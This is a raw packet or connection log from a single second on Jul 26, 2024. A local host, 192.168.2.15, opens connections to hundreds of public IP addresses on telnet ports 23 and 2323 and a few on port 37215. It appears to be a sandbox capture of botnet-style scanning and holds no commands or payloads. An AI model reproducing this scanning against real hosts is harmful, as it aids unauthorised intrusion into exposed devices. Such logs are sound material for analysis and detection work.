Jul 26, 2024 17:42:01.411839008 CEST	23	13638	94.24.116.148	192.168.2.15
Jul 26, 2024 17:42:01.411842108 CEST	23	13638	216.130.151.112	192.168.2.15
Jul 26, 2024 17:42:01.411848068 CEST	23	13638	163.210.64.186	192.168.2.15
Jul 26, 2024 17:42:01.411870003 CEST	13638	2323	192.168.2.15	159.226.184.140
Jul 26, 2024 17:42:01.411870003 CEST	13638	23	192.168.2.15	167.132.222.114
Jul 26, 2024 17:42:01.411870003 CEST	13638	23	192.168.2.15	94.24.116.148
Jul 26, 2024 17:42:01.411873102 CEST	13638	23	192.168.2.15	216.130.151.112
Jul 26, 2024 17:42:01.411885977 CEST	23	13638	5.217.29.86	192.168.2.15
Jul 26, 2024 17:42:01.411886930 CEST	13638	23	192.168.2.15	163.210.64.186
Jul 26, 2024 17:42:01.411895990 CEST	23	13638	185.192.189.220	192.168.2.15
Jul 26, 2024 17:42:01.411917925 CEST	13638	23	192.168.2.15	5.217.29.86
Jul 26, 2024 17:42:01.411956072 CEST	13638	23	192.168.2.15	185.192.189.220
Jul 26, 2024 17:42:01.411977053 CEST	23	13638	105.232.33.129	192.168.2.15
Jul 26, 2024 17:42:01.411984921 CEST	23	13638	24.39.87.230	192.168.2.15
Jul 26, 2024 17:42:01.411992073 CEST	23	13638	44.50.82.216	192.168.2.15
Jul 26, 2024 17:42:01.411995888 CEST	2323	13638	124.173.24.40	192.168.2.15
Jul 26, 2024 17:42:01.412002087 CEST	23	13638	143.203.39.19	192.168.2.15
Jul 26, 2024 17:42:01.412009954 CEST	23	13638	60.206.104.164	192.168.2.15
Jul 26, 2024 17:42:01.412017107 CEST	23	13638	34.72.90.14	192.168.2.15
Jul 26, 2024 17:42:01.412020922 CEST	13638	23	192.168.2.15	105.232.33.129
Jul 26, 2024 17:42:01.412024975 CEST	23	13638	206.134.161.24	192.168.2.15
Jul 26, 2024 17:42:01.412034035 CEST	23	13638	42.177.59.13	192.168.2.15
Jul 26, 2024 17:42:01.412034035 CEST	13638	23	192.168.2.15	24.39.87.230
Jul 26, 2024 17:42:01.412034035 CEST	13638	23	192.168.2.15	44.50.82.216
Jul 26, 2024 17:42:01.412036896 CEST	23	13638	96.166.151.244	192.168.2.15
Jul 26, 2024 17:42:01.412039995 CEST	23	13638	61.175.113.250	192.168.2.15
Jul 26, 2024 17:42:01.412048101 CEST	23	13638	212.188.62.165	192.168.2.15
Jul 26, 2024 17:42:01.412055016 CEST	23	13638	5.229.11.139	192.168.2.15
Jul 26, 2024 17:42:01.412056923 CEST	13638	23	192.168.2.15	60.206.104.164
Jul 26, 2024 17:42:01.412056923 CEST	13638	23	192.168.2.15	34.72.90.14
Jul 26, 2024 17:42:01.412059069 CEST	23	13638	115.228.106.121	192.168.2.15
Jul 26, 2024 17:42:01.412065983 CEST	13638	2323	192.168.2.15	124.173.24.40
Jul 26, 2024 17:42:01.412066936 CEST	13638	23	192.168.2.15	143.203.39.19
Jul 26, 2024 17:42:01.412069082 CEST	13638	23	192.168.2.15	96.166.151.244
Jul 26, 2024 17:42:01.412075043 CEST	23	13638	17.1.196.121	192.168.2.15
Jul 26, 2024 17:42:01.412081957 CEST	13638	23	192.168.2.15	42.177.59.13
Jul 26, 2024 17:42:01.412081957 CEST	13638	23	192.168.2.15	61.175.113.250
Jul 26, 2024 17:42:01.412081957 CEST	13638	23	192.168.2.15	5.229.11.139
Jul 26, 2024 17:42:01.412084103 CEST	23	13638	12.71.100.118	192.168.2.15
Jul 26, 2024 17:42:01.412085056 CEST	13638	23	192.168.2.15	115.228.106.121
Jul 26, 2024 17:42:01.412091017 CEST	23	13638	221.49.68.140	192.168.2.15
Jul 26, 2024 17:42:01.412095070 CEST	13638	23	192.168.2.15	212.188.62.165
Jul 26, 2024 17:42:01.412097931 CEST	2323	13638	189.69.116.151	192.168.2.15
Jul 26, 2024 17:42:01.412106037 CEST	23	13638	210.222.237.25	192.168.2.15
Jul 26, 2024 17:42:01.412112951 CEST	13638	23	192.168.2.15	17.1.196.121
Jul 26, 2024 17:42:01.412117958 CEST	13638	23	192.168.2.15	12.71.100.118
Jul 26, 2024 17:42:01.412120104 CEST	23	13638	163.112.158.75	192.168.2.15
Jul 26, 2024 17:42:01.412127018 CEST	2323	13638	186.153.183.142	192.168.2.15
Jul 26, 2024 17:42:01.412139893 CEST	13638	2323	192.168.2.15	189.69.116.151
Jul 26, 2024 17:42:01.412142038 CEST	13638	23	192.168.2.15	221.49.68.140
Jul 26, 2024 17:42:01.412142992 CEST	13638	23	192.168.2.15	210.222.237.25
Jul 26, 2024 17:42:01.412163973 CEST	13638	23	192.168.2.15	163.112.158.75
Jul 26, 2024 17:42:01.412296057 CEST	13638	2323	192.168.2.15	186.153.183.142
Jul 26, 2024 17:42:01.412297964 CEST	13638	23	192.168.2.15	206.134.161.24
Jul 26, 2024 17:42:01.412786007 CEST	23	13638	168.159.33.98	192.168.2.15
Jul 26, 2024 17:42:01.412842989 CEST	23	13638	159.119.243.6	192.168.2.15
Jul 26, 2024 17:42:01.412851095 CEST	23	13638	160.7.110.173	192.168.2.15
Jul 26, 2024 17:42:01.412858963 CEST	23	13638	154.231.196.194	192.168.2.15
Jul 26, 2024 17:42:01.412867069 CEST	23	13638	160.247.177.43	192.168.2.15
Jul 26, 2024 17:42:01.412870884 CEST	23	13638	181.218.20.201	192.168.2.15
Jul 26, 2024 17:42:01.412873983 CEST	23	13638	219.13.169.41	192.168.2.15
Jul 26, 2024 17:42:01.412883043 CEST	13638	23	192.168.2.15	160.7.110.173
Jul 26, 2024 17:42:01.412918091 CEST	13638	23	192.168.2.15	181.218.20.201
Jul 26, 2024 17:42:01.412918091 CEST	13638	23	192.168.2.15	154.231.196.194
Jul 26, 2024 17:42:01.412918091 CEST	13638	23	192.168.2.15	219.13.169.41
Jul 26, 2024 17:42:01.412940025 CEST	2323	13638	98.102.199.165	192.168.2.15
Jul 26, 2024 17:42:01.412947893 CEST	23	13638	78.173.116.44	192.168.2.15
Jul 26, 2024 17:42:01.412955999 CEST	23	13638	106.240.28.52	192.168.2.15
Jul 26, 2024 17:42:01.412961960 CEST	23	13638	111.81.183.14	192.168.2.15
Jul 26, 2024 17:42:01.412966013 CEST	23	13638	59.124.34.50	192.168.2.15
Jul 26, 2024 17:42:01.412969112 CEST	23	13638	205.122.9.253	192.168.2.15
Jul 26, 2024 17:42:01.412972927 CEST	23	13638	220.135.224.37	192.168.2.15
Jul 26, 2024 17:42:01.412980080 CEST	23	13638	79.165.79.13	192.168.2.15
Jul 26, 2024 17:42:01.412987947 CEST	23	13638	152.83.188.255	192.168.2.15
Jul 26, 2024 17:42:01.412993908 CEST	13638	23	192.168.2.15	111.81.183.14
Jul 26, 2024 17:42:01.412996054 CEST	23	13638	42.60.132.86	192.168.2.15
Jul 26, 2024 17:42:01.413000107 CEST	13638	23	192.168.2.15	205.122.9.253
Jul 26, 2024 17:42:01.413003922 CEST	13638	23	192.168.2.15	220.135.224.37
Jul 26, 2024 17:42:01.413003922 CEST	13638	23	192.168.2.15	79.165.79.13
Jul 26, 2024 17:42:01.413007021 CEST	23	13638	160.121.126.93	192.168.2.15
Jul 26, 2024 17:42:01.413014889 CEST	23	13638	41.69.235.162	192.168.2.15
Jul 26, 2024 17:42:01.413028002 CEST	2323	13638	200.152.111.174	192.168.2.15
Jul 26, 2024 17:42:01.413034916 CEST	23	13638	170.211.176.179	192.168.2.15
Jul 26, 2024 17:42:01.413038969 CEST	13638	23	192.168.2.15	160.121.126.93
Jul 26, 2024 17:42:01.413041115 CEST	13638	23	192.168.2.15	41.69.235.162
Jul 26, 2024 17:42:01.413043976 CEST	23	13638	115.198.69.115	192.168.2.15
Jul 26, 2024 17:42:01.413052082 CEST	23	13638	87.91.197.186	192.168.2.15
Jul 26, 2024 17:42:01.413058043 CEST	23	13638	78.248.57.183	192.168.2.15
Jul 26, 2024 17:42:01.413064957 CEST	23	13638	100.190.141.24	192.168.2.15
Jul 26, 2024 17:42:01.413077116 CEST	13638	23	192.168.2.15	170.211.176.179
Jul 26, 2024 17:42:01.413077116 CEST	13638	2323	192.168.2.15	200.152.111.174
Jul 26, 2024 17:42:01.413093090 CEST	13638	23	192.168.2.15	100.190.141.24
Jul 26, 2024 17:42:01.413106918 CEST	13638	23	192.168.2.15	87.91.197.186
Jul 26, 2024 17:42:01.413106918 CEST	13638	23	192.168.2.15	78.248.57.183
Jul 26, 2024 17:42:01.413110971 CEST	23	13638	113.236.200.139	192.168.2.15
Jul 26, 2024 17:42:01.413120031 CEST	2323	13638	101.25.123.77	192.168.2.15
Jul 26, 2024 17:42:01.413122892 CEST	23	13638	51.212.214.232	192.168.2.15
Jul 26, 2024 17:42:01.413152933 CEST	13638	2323	192.168.2.15	101.25.123.77
Jul 26, 2024 17:42:01.413162947 CEST	13638	23	192.168.2.15	113.236.200.139
Jul 26, 2024 17:42:01.413193941 CEST	13638	23	192.168.2.15	51.212.214.232
Jul 26, 2024 17:42:01.413194895 CEST	13638	23	192.168.2.15	42.60.132.86
Jul 26, 2024 17:42:01.413196087 CEST	13638	23	192.168.2.15	115.198.69.115
Jul 26, 2024 17:42:01.413201094 CEST	13638	23	192.168.2.15	168.159.33.98
Jul 26, 2024 17:42:01.413201094 CEST	13638	23	192.168.2.15	159.119.243.6
Jul 26, 2024 17:42:01.413201094 CEST	13638	23	192.168.2.15	160.247.177.43
Jul 26, 2024 17:42:01.413201094 CEST	46688	37215	192.168.2.15	197.43.30.179
Jul 26, 2024 17:42:01.413201094 CEST	13638	2323	192.168.2.15	98.102.199.165
Jul 26, 2024 17:42:01.413201094 CEST	13638	23	192.168.2.15	78.173.116.44
Jul 26, 2024 17:42:01.413201094 CEST	13638	23	192.168.2.15	106.240.28.52
Jul 26, 2024 17:42:01.413224936 CEST	13638	23	192.168.2.15	59.124.34.50
Jul 26, 2024 17:42:01.413224936 CEST	13638	23	192.168.2.15	152.83.188.255
Jul 26, 2024 17:42:01.413708925 CEST	23	13638	61.70.21.128	192.168.2.15
Jul 26, 2024 17:42:01.413717985 CEST	23	13638	37.228.96.59	192.168.2.15
Jul 26, 2024 17:42:01.413724899 CEST	23	13638	54.126.5.184	192.168.2.15
Jul 26, 2024 17:42:01.413744926 CEST	13638	23	192.168.2.15	37.228.96.59
Jul 26, 2024 17:42:01.413748026 CEST	13638	23	192.168.2.15	61.70.21.128
Jul 26, 2024 17:42:01.413764954 CEST	2323	13638	94.234.127.133	192.168.2.15
Jul 26, 2024 17:42:01.413772106 CEST	23	13638	190.233.96.127	192.168.2.15
Jul 26, 2024 17:42:01.413779020 CEST	23	13638	91.235.222.250	192.168.2.15
Jul 26, 2024 17:42:01.413780928 CEST	13638	23	192.168.2.15	54.126.5.184
Jul 26, 2024 17:42:01.413786888 CEST	23	13638	96.63.172.235	192.168.2.15
Jul 26, 2024 17:42:01.413796902 CEST	23	13638	144.196.57.90	192.168.2.15
Jul 26, 2024 17:42:01.413800955 CEST	13638	2323	192.168.2.15	94.234.127.133
Jul 26, 2024 17:42:01.413810015 CEST	23	13638	91.229.112.229	192.168.2.15
Jul 26, 2024 17:42:01.413810968 CEST	13638	23	192.168.2.15	190.233.96.127
Jul 26, 2024 17:42:01.413814068 CEST	13638	23	192.168.2.15	96.63.172.235
Jul 26, 2024 17:42:01.413815022 CEST	13638	23	192.168.2.15	91.235.222.250
Jul 26, 2024 17:42:01.413829088 CEST	13638	23	192.168.2.15	144.196.57.90
Jul 26, 2024 17:42:01.413836002 CEST	23	13638	188.189.207.178	192.168.2.15
Jul 26, 2024 17:42:01.413841963 CEST	23	13638	223.229.247.232	192.168.2.15
Jul 26, 2024 17:42:01.413845062 CEST	23	13638	199.122.25.80	192.168.2.15
Jul 26, 2024 17:42:01.413851976 CEST	23	13638	181.40.219.105	192.168.2.15
Jul 26, 2024 17:42:01.413858891 CEST	23	13638	121.16.244.170	192.168.2.15
Jul 26, 2024 17:42:01.413866997 CEST	2323	13638	132.160.24.88	192.168.2.15
Jul 26, 2024 17:42:01.413875103 CEST	13638	23	192.168.2.15	199.122.25.80
Jul 26, 2024 17:42:01.413876057 CEST	13638	23	192.168.2.15	91.229.112.229
Jul 26, 2024 17:42:01.413876057 CEST	13638	23	192.168.2.15	223.229.247.232
Jul 26, 2024 17:42:01.413876057 CEST	13638	23	192.168.2.15	188.189.207.178
Jul 26, 2024 17:42:01.413877964 CEST	13638	23	192.168.2.15	181.40.219.105
Jul 26, 2024 17:42:01.413887978 CEST	23	13638	146.213.140.108	192.168.2.15
Jul 26, 2024 17:42:01.413896084 CEST	23	13638	220.118.0.123	192.168.2.15
Jul 26, 2024 17:42:01.413898945 CEST	13638	23	192.168.2.15	121.16.244.170
Jul 26, 2024 17:42:01.413898945 CEST	13638	2323	192.168.2.15	132.160.24.88
Jul 26, 2024 17:42:01.413904905 CEST	23	13638	180.152.44.60	192.168.2.15
Jul 26, 2024 17:42:01.413913965 CEST	23	13638	199.54.35.248	192.168.2.15
Jul 26, 2024 17:42:01.413923025 CEST	13638	23	192.168.2.15	146.213.140.108
Jul 26, 2024 17:42:01.413929939 CEST	23	13638	209.144.169.253	192.168.2.15
Jul 26, 2024 17:42:01.413938046 CEST	23	13638	62.249.246.120	192.168.2.15
Jul 26, 2024 17:42:01.413944960 CEST	23	13638	152.131.8.187	192.168.2.15
Jul 26, 2024 17:42:01.413954973 CEST	13638	23	192.168.2.15	180.152.44.60
Jul 26, 2024 17:42:01.413954973 CEST	13638	23	192.168.2.15	199.54.35.248
Jul 26, 2024 17:42:01.413959026 CEST	23	13638	145.189.87.107	192.168.2.15
Jul 26, 2024 17:42:01.413960934 CEST	13638	23	192.168.2.15	209.144.169.253
Jul 26, 2024 17:42:01.413966894 CEST	23	13638	196.106.89.239	192.168.2.15
Jul 26, 2024 17:42:01.413970947 CEST	23	13638	196.107.249.233	192.168.2.15
Jul 26, 2024 17:42:01.413974047 CEST	23	13638	32.104.33.169	192.168.2.15
Jul 26, 2024 17:42:01.413979053 CEST	13638	23	192.168.2.15	62.249.246.120
Jul 26, 2024 17:42:01.413981915 CEST	2323	13638	207.150.122.9	192.168.2.15
Jul 26, 2024 17:42:01.413990021 CEST	23	13638	133.175.164.233	192.168.2.15
Jul 26, 2024 17:42:01.414002895 CEST	13638	23	192.168.2.15	152.131.8.187
Jul 26, 2024 17:42:01.414002895 CEST	13638	23	192.168.2.15	196.106.89.239
Jul 26, 2024 17:42:01.414002895 CEST	13638	23	192.168.2.15	196.107.249.233
Jul 26, 2024 17:42:01.414020061 CEST	13638	23	192.168.2.15	133.175.164.233
Jul 26, 2024 17:42:01.414022923 CEST	13638	23	192.168.2.15	145.189.87.107
Jul 26, 2024 17:42:01.414022923 CEST	13638	23	192.168.2.15	32.104.33.169
Jul 26, 2024 17:42:01.414108038 CEST	13638	23	192.168.2.15	220.118.0.123
Jul 26, 2024 17:42:01.414108992 CEST	13638	2323	192.168.2.15	207.150.122.9
Jul 26, 2024 17:42:01.415039062 CEST	36570	23	192.168.2.15	131.119.172.119
Jul 26, 2024 17:42:01.415065050 CEST	23	13638	38.139.53.154	192.168.2.15
Jul 26, 2024 17:42:01.415075064 CEST	23	13638	170.33.208.91	192.168.2.15
Jul 26, 2024 17:42:01.415105104 CEST	13638	23	192.168.2.15	38.139.53.154
Jul 26, 2024 17:42:01.415105104 CEST	13638	23	192.168.2.15	170.33.208.91
Jul 26, 2024 17:42:01.415895939 CEST	23	13638	17.161.242.182	192.168.2.15
Jul 26, 2024 17:42:01.415906906 CEST	23	13638	42.9.47.247	192.168.2.15
Jul 26, 2024 17:42:01.415915012 CEST	23	13638	213.111.19.130	192.168.2.15
Jul 26, 2024 17:42:01.415921926 CEST	23	13638	57.81.250.176	192.168.2.15
Jul 26, 2024 17:42:01.415925980 CEST	23	13638	69.208.215.80	192.168.2.15
Jul 26, 2024 17:42:01.415934086 CEST	13638	23	192.168.2.15	17.161.242.182
Jul 26, 2024 17:42:01.415941000 CEST	23	13638	102.186.155.57	192.168.2.15
Jul 26, 2024 17:42:01.415951014 CEST	23	13638	146.107.148.123	192.168.2.15
Jul 26, 2024 17:42:01.415958881 CEST	23	13638	86.47.218.228	192.168.2.15
Jul 26, 2024 17:42:01.415958881 CEST	13638	23	192.168.2.15	57.81.250.176
Jul 26, 2024 17:42:01.415966988 CEST	2323	13638	164.35.40.151	192.168.2.15
Jul 26, 2024 17:42:01.415977955 CEST	23	13638	114.118.74.103	192.168.2.15
Jul 26, 2024 17:42:01.415987015 CEST	23	13638	66.176.79.213	192.168.2.15
Jul 26, 2024 17:42:01.415994883 CEST	23	13638	116.58.74.230	192.168.2.15
Jul 26, 2024 17:42:01.415999889 CEST	13638	23	192.168.2.15	86.47.218.228
Jul 26, 2024 17:42:01.416002035 CEST	23	13638	184.170.44.210	192.168.2.15
Jul 26, 2024 17:42:01.416012049 CEST	23	13638	146.242.132.186	192.168.2.15
Jul 26, 2024 17:42:01.416016102 CEST	13638	2323	192.168.2.15	164.35.40.151
Jul 26, 2024 17:42:01.416018963 CEST	23	13638	116.236.67.57	192.168.2.15
Jul 26, 2024 17:42:01.416028976 CEST	23	13638	117.22.206.49	192.168.2.15
Jul 26, 2024 17:42:01.416037083 CEST	23	13638	134.213.210.69	192.168.2.15
Jul 26, 2024 17:42:01.416043043 CEST	13638	23	192.168.2.15	116.236.67.57
Jul 26, 2024 17:42:01.416047096 CEST	13638	23	192.168.2.15	66.176.79.213
Jul 26, 2024 17:42:01.416047096 CEST	13638	23	192.168.2.15	114.118.74.103
Jul 26, 2024 17:42:01.416048050 CEST	13638	23	192.168.2.15	184.170.44.210
Jul 26, 2024 17:42:01.416050911 CEST	23	13638	148.182.73.199	192.168.2.15
Jul 26, 2024 17:42:01.416058064 CEST	13638	23	192.168.2.15	117.22.206.49
Jul 26, 2024 17:42:01.416064978 CEST	23	13638	173.255.196.226	192.168.2.15
Jul 26, 2024 17:42:01.416073084 CEST	23	13638	200.235.193.183	192.168.2.15
Jul 26, 2024 17:42:01.416106939 CEST	13638	23	192.168.2.15	200.235.193.183
Jul 26, 2024 17:42:01.416143894 CEST	13638	23	192.168.2.15	173.255.196.226
Jul 26, 2024 17:42:01.416145086 CEST	13638	23	192.168.2.15	148.182.73.199
Jul 26, 2024 17:42:01.416145086 CEST	13638	23	192.168.2.15	146.242.132.186
Jul 26, 2024 17:42:01.416151047 CEST	13638	23	192.168.2.15	42.9.47.247
Jul 26, 2024 17:42:01.416151047 CEST	13638	23	192.168.2.15	69.208.215.80
Jul 26, 2024 17:42:01.416151047 CEST	13638	23	192.168.2.15	213.111.19.130
Jul 26, 2024 17:42:01.416151047 CEST	13638	23	192.168.2.15	102.186.155.57
Jul 26, 2024 17:42:01.416151047 CEST	13638	23	192.168.2.15	146.107.148.123
Jul 26, 2024 17:42:01.416151047 CEST	13638	23	192.168.2.15	116.58.74.230
Jul 26, 2024 17:42:01.416151047 CEST	13638	23	192.168.2.15	134.213.210.69
Jul 26, 2024 17:42:01.416239977 CEST	38984	37215	192.168.2.15	157.253.160.68
Jul 26, 2024 17:42:01.417254925 CEST	54624	23	192.168.2.15	103.64.199.60
Jul 26, 2024 17:42:01.418378115 CEST	23	13638	186.237.217.151	192.168.2.15
Jul 26, 2024 17:42:01.418390036 CEST	23	13638	115.191.182.246	192.168.2.15
Jul 26, 2024 17:42:01.418396950 CEST	2323	13638	69.206.164.112	192.168.2.15
Jul 26, 2024 17:42:01.418406010 CEST	23	13638	114.251.201.194	192.168.2.15
Jul 26, 2024 17:42:01.418412924 CEST	13638	23	192.168.2.15	186.237.217.151
Jul 26, 2024 17:42:01.418421030 CEST	23	13638	66.24.116.40	192.168.2.15
Jul 26, 2024 17:42:01.418430090 CEST	23	13638	77.181.231.127	192.168.2.15
Jul 26, 2024 17:42:01.418435097 CEST	13638	23	192.168.2.15	115.191.182.246
Jul 26, 2024 17:42:01.418437004 CEST	23	13638	92.78.164.12	192.168.2.15
Jul 26, 2024 17:42:01.418446064 CEST	23	13638	208.8.248.71	192.168.2.15
Jul 26, 2024 17:42:01.418452978 CEST	13638	23	192.168.2.15	114.251.201.194
Jul 26, 2024 17:42:01.418454885 CEST	13638	2323	192.168.2.15	69.206.164.112
Jul 26, 2024 17:42:01.418454885 CEST	13638	23	192.168.2.15	66.24.116.40
Jul 26, 2024 17:42:01.418458939 CEST	23	13638	49.253.135.104	192.168.2.15
Jul 26, 2024 17:42:01.418467999 CEST	13638	23	192.168.2.15	77.181.231.127
Jul 26, 2024 17:42:01.418472052 CEST	23	13638	128.142.194.54	192.168.2.15
Jul 26, 2024 17:42:01.418477058 CEST	13638	23	192.168.2.15	208.8.248.71
Jul 26, 2024 17:42:01.418484926 CEST	23	13638	183.70.230.142	192.168.2.15
Jul 26, 2024 17:42:01.418493986 CEST	23	13638	134.101.10.129	192.168.2.15
Jul 26, 2024 17:42:01.418498039 CEST	13638	23	192.168.2.15	92.78.164.12
Jul 26, 2024 17:42:01.418498039 CEST	13638	23	192.168.2.15	49.253.135.104
Jul 26, 2024 17:42:01.418498039 CEST	13638	23	192.168.2.15	128.142.194.54
Jul 26, 2024 17:42:01.418502092 CEST	2323	13638	176.20.120.108	192.168.2.15
Jul 26, 2024 17:42:01.418510914 CEST	23	13638	136.57.210.243	192.168.2.15
Jul 26, 2024 17:42:01.418519974 CEST	23	13638	183.87.162.103	192.168.2.15
Jul 26, 2024 17:42:01.418528080 CEST	13638	23	192.168.2.15	183.70.230.142
Jul 26, 2024 17:42:01.418529034 CEST	23	13638	122.192.143.90	192.168.2.15
Jul 26, 2024 17:42:01.418538094 CEST	23	13638	14.212.77.89	192.168.2.15
Jul 26, 2024 17:42:01.418545961 CEST	23	13638	89.244.104.149	192.168.2.15
Jul 26, 2024 17:42:01.418549061 CEST	13638	23	192.168.2.15	134.101.10.129
Jul 26, 2024 17:42:01.418549061 CEST	13638	23	192.168.2.15	136.57.210.243
Jul 26, 2024 17:42:01.418549061 CEST	13638	2323	192.168.2.15	176.20.120.108
Jul 26, 2024 17:42:01.418553114 CEST	23	13638	206.246.102.154	192.168.2.15
Jul 26, 2024 17:42:01.418557882 CEST	13638	23	192.168.2.15	183.87.162.103
Jul 26, 2024 17:42:01.418564081 CEST	23	13638	112.45.230.27	192.168.2.15
Jul 26, 2024 17:42:01.418576002 CEST	13638	23	192.168.2.15	89.244.104.149
Jul 26, 2024 17:42:01.418576002 CEST	13638	23	192.168.2.15	14.212.77.89
Jul 26, 2024 17:42:01.418582916 CEST	13638	23	192.168.2.15	122.192.143.90
Jul 26, 2024 17:42:01.418585062 CEST	2323	13638	167.35.66.12	192.168.2.15
Jul 26, 2024 17:42:01.418589115 CEST	13638	23	192.168.2.15	206.246.102.154
Jul 26, 2024 17:42:01.418595076 CEST	23	13638	37.154.219.11	192.168.2.15
Jul 26, 2024 17:42:01.418603897 CEST	23	13638	142.185.23.210	192.168.2.15
Jul 26, 2024 17:42:01.418615103 CEST	13638	23	192.168.2.15	112.45.230.27
Jul 26, 2024 17:42:01.418618917 CEST	2323	13638	58.161.16.232	192.168.2.15
Jul 26, 2024 17:42:01.418632984 CEST	13638	23	192.168.2.15	142.185.23.210
Jul 26, 2024 17:42:01.418638945 CEST	23	13638	89.198.24.157	192.168.2.15
Jul 26, 2024 17:42:01.418639898 CEST	13638	2323	192.168.2.15	167.35.66.12
Jul 26, 2024 17:42:01.418639898 CEST	13638	23	192.168.2.15	37.154.219.11
Jul 26, 2024 17:42:01.418648958 CEST	23	13638	163.79.253.166	192.168.2.15
Jul 26, 2024 17:42:01.418657064 CEST	23	13638	221.186.248.243	192.168.2.15
Jul 26, 2024 17:42:01.418664932 CEST	23	13638	199.124.38.120	192.168.2.15
Jul 26, 2024 17:42:01.418672085 CEST	23	13638	142.96.229.123	192.168.2.15
Jul 26, 2024 17:42:01.418682098 CEST	23	13638	12.221.245.104	192.168.2.15
Jul 26, 2024 17:42:01.418689966 CEST	23	13638	64.5.19.105	192.168.2.15
Jul 26, 2024 17:42:01.418694019 CEST	13638	2323	192.168.2.15	58.161.16.232
Jul 26, 2024 17:42:01.418694019 CEST	13638	23	192.168.2.15	89.198.24.157
Jul 26, 2024 17:42:01.418694019 CEST	13638	23	192.168.2.15	163.79.253.166
Jul 26, 2024 17:42:01.418698072 CEST	23	13638	66.110.186.87	192.168.2.15
Jul 26, 2024 17:42:01.418703079 CEST	13638	23	192.168.2.15	221.186.248.243
Jul 26, 2024 17:42:01.418708086 CEST	23	13638	146.42.5.160	192.168.2.15
Jul 26, 2024 17:42:01.418708086 CEST	13638	23	192.168.2.15	199.124.38.120
Jul 26, 2024 17:42:01.418708086 CEST	13638	23	192.168.2.15	142.96.229.123
Jul 26, 2024 17:42:01.418708086 CEST	13638	23	192.168.2.15	12.221.245.104
Jul 26, 2024 17:42:01.418716908 CEST	23	13638	123.179.111.187	192.168.2.15
Jul 26, 2024 17:42:01.418725967 CEST	23	13638	9.133.246.225	192.168.2.15
Jul 26, 2024 17:42:01.418735981 CEST	23	13638	212.46.101.22	192.168.2.15
Jul 26, 2024 17:42:01.418742895 CEST	23	13638	77.236.106.134	192.168.2.15
Jul 26, 2024 17:42:01.418744087 CEST	13638	23	192.168.2.15	64.5.19.105
Jul 26, 2024 17:42:01.418744087 CEST	13638	23	192.168.2.15	146.42.5.160
Jul 26, 2024 17:42:01.418751001 CEST	23	13638	187.9.182.22	192.168.2.15
Jul 26, 2024 17:42:01.418752909 CEST	13638	23	192.168.2.15	66.110.186.87
Jul 26, 2024 17:42:01.418752909 CEST	13638	23	192.168.2.15	123.179.111.187
Jul 26, 2024 17:42:01.418761969 CEST	23	13638	64.208.96.58	192.168.2.15
Jul 26, 2024 17:42:01.418771982 CEST	23	13638	44.241.200.38	192.168.2.15
Jul 26, 2024 17:42:01.418780088 CEST	23	13638	200.122.171.138	192.168.2.15
Jul 26, 2024 17:42:01.418788910 CEST	23	13638	100.56.47.40	192.168.2.15
Jul 26, 2024 17:42:01.418796062 CEST	23	13638	145.12.81.149	192.168.2.15
Jul 26, 2024 17:42:01.418803930 CEST	23	13638	117.232.204.88	192.168.2.15
Jul 26, 2024 17:42:01.418807030 CEST	13638	23	192.168.2.15	64.208.96.58
Jul 26, 2024 17:42:01.418807030 CEST	13638	23	192.168.2.15	44.241.200.38
Jul 26, 2024 17:42:01.418812037 CEST	23	13638	58.120.212.79	192.168.2.15
Jul 26, 2024 17:42:01.418823957 CEST	2323	13638	34.200.180.104	192.168.2.15
Jul 26, 2024 17:42:01.418828964 CEST	13638	23	192.168.2.15	200.122.171.138
Jul 26, 2024 17:42:01.418828964 CEST	13638	23	192.168.2.15	100.56.47.40
Jul 26, 2024 17:42:01.418828964 CEST	13638	23	192.168.2.15	117.232.204.88
Jul 26, 2024 17:42:01.418828964 CEST	13638	23	192.168.2.15	145.12.81.149
Jul 26, 2024 17:42:01.418838024 CEST	23	13638	211.31.164.116	192.168.2.15
Jul 26, 2024 17:42:01.418840885 CEST	13638	23	192.168.2.15	58.120.212.79
Jul 26, 2024 17:42:01.418848038 CEST	23	13638	111.9.226.201	192.168.2.15
Jul 26, 2024 17:42:01.418855906 CEST	23	13638	139.122.215.114	192.168.2.15
Jul 26, 2024 17:42:01.418864012 CEST	23	13638	45.201.74.232	192.168.2.15
Jul 26, 2024 17:42:01.418864012 CEST	13638	2323	192.168.2.15	34.200.180.104
Jul 26, 2024 17:42:01.418874025 CEST	13638	23	192.168.2.15	211.31.164.116
Jul 26, 2024 17:42:01.418883085 CEST	23	13638	27.154.229.198	192.168.2.15
Jul 26, 2024 17:42:01.418890953 CEST	23	13638	153.49.70.58	192.168.2.15
Jul 26, 2024 17:42:01.418893099 CEST	13638	23	192.168.2.15	111.9.226.201
Jul 26, 2024 17:42:01.418893099 CEST	13638	23	192.168.2.15	139.122.215.114
Jul 26, 2024 17:42:01.418899059 CEST	2323	13638	201.247.124.165	192.168.2.15
Jul 26, 2024 17:42:01.418909073 CEST	23	13638	79.55.133.112	192.168.2.15
Jul 26, 2024 17:42:01.418916941 CEST	23	13638	81.0.192.228	192.168.2.15
Jul 26, 2024 17:42:01.418925047 CEST	23	13638	103.157.12.68	192.168.2.15
Jul 26, 2024 17:42:01.418932915 CEST	23	13638	46.154.90.220	192.168.2.15
Jul 26, 2024 17:42:01.418934107 CEST	13638	23	192.168.2.15	45.201.74.232
Jul 26, 2024 17:42:01.418935061 CEST	13638	23	192.168.2.15	27.154.229.198
Jul 26, 2024 17:42:01.418936014 CEST	13638	23	192.168.2.15	153.49.70.58
Jul 26, 2024 17:42:01.418941021 CEST	23	13638	197.173.242.130	192.168.2.15
Jul 26, 2024 17:42:01.418943882 CEST	13638	23	192.168.2.15	79.55.133.112
Jul 26, 2024 17:42:01.418943882 CEST	13638	23	192.168.2.15	81.0.192.228
Jul 26, 2024 17:42:01.418950081 CEST	23	13638	2.183.160.124	192.168.2.15
Jul 26, 2024 17:42:01.418953896 CEST	13638	2323	192.168.2.15	201.247.124.165
Jul 26, 2024 17:42:01.418957949 CEST	13638	23	192.168.2.15	9.133.246.225
Jul 26, 2024 17:42:01.418957949 CEST	13638	23	192.168.2.15	212.46.101.22
Jul 26, 2024 17:42:01.418957949 CEST	13638	23	192.168.2.15	187.9.182.22
Jul 26, 2024 17:42:01.418957949 CEST	13638	23	192.168.2.15	77.236.106.134
Jul 26, 2024 17:42:01.418960094 CEST	23	13638	57.227.15.94	192.168.2.15
Jul 26, 2024 17:42:01.418968916 CEST	13638	23	192.168.2.15	103.157.12.68
Jul 26, 2024 17:42:01.418968916 CEST	13638	23	192.168.2.15	46.154.90.220
Jul 26, 2024 17:42:01.418968916 CEST	2323	13638	189.0.67.18	192.168.2.15
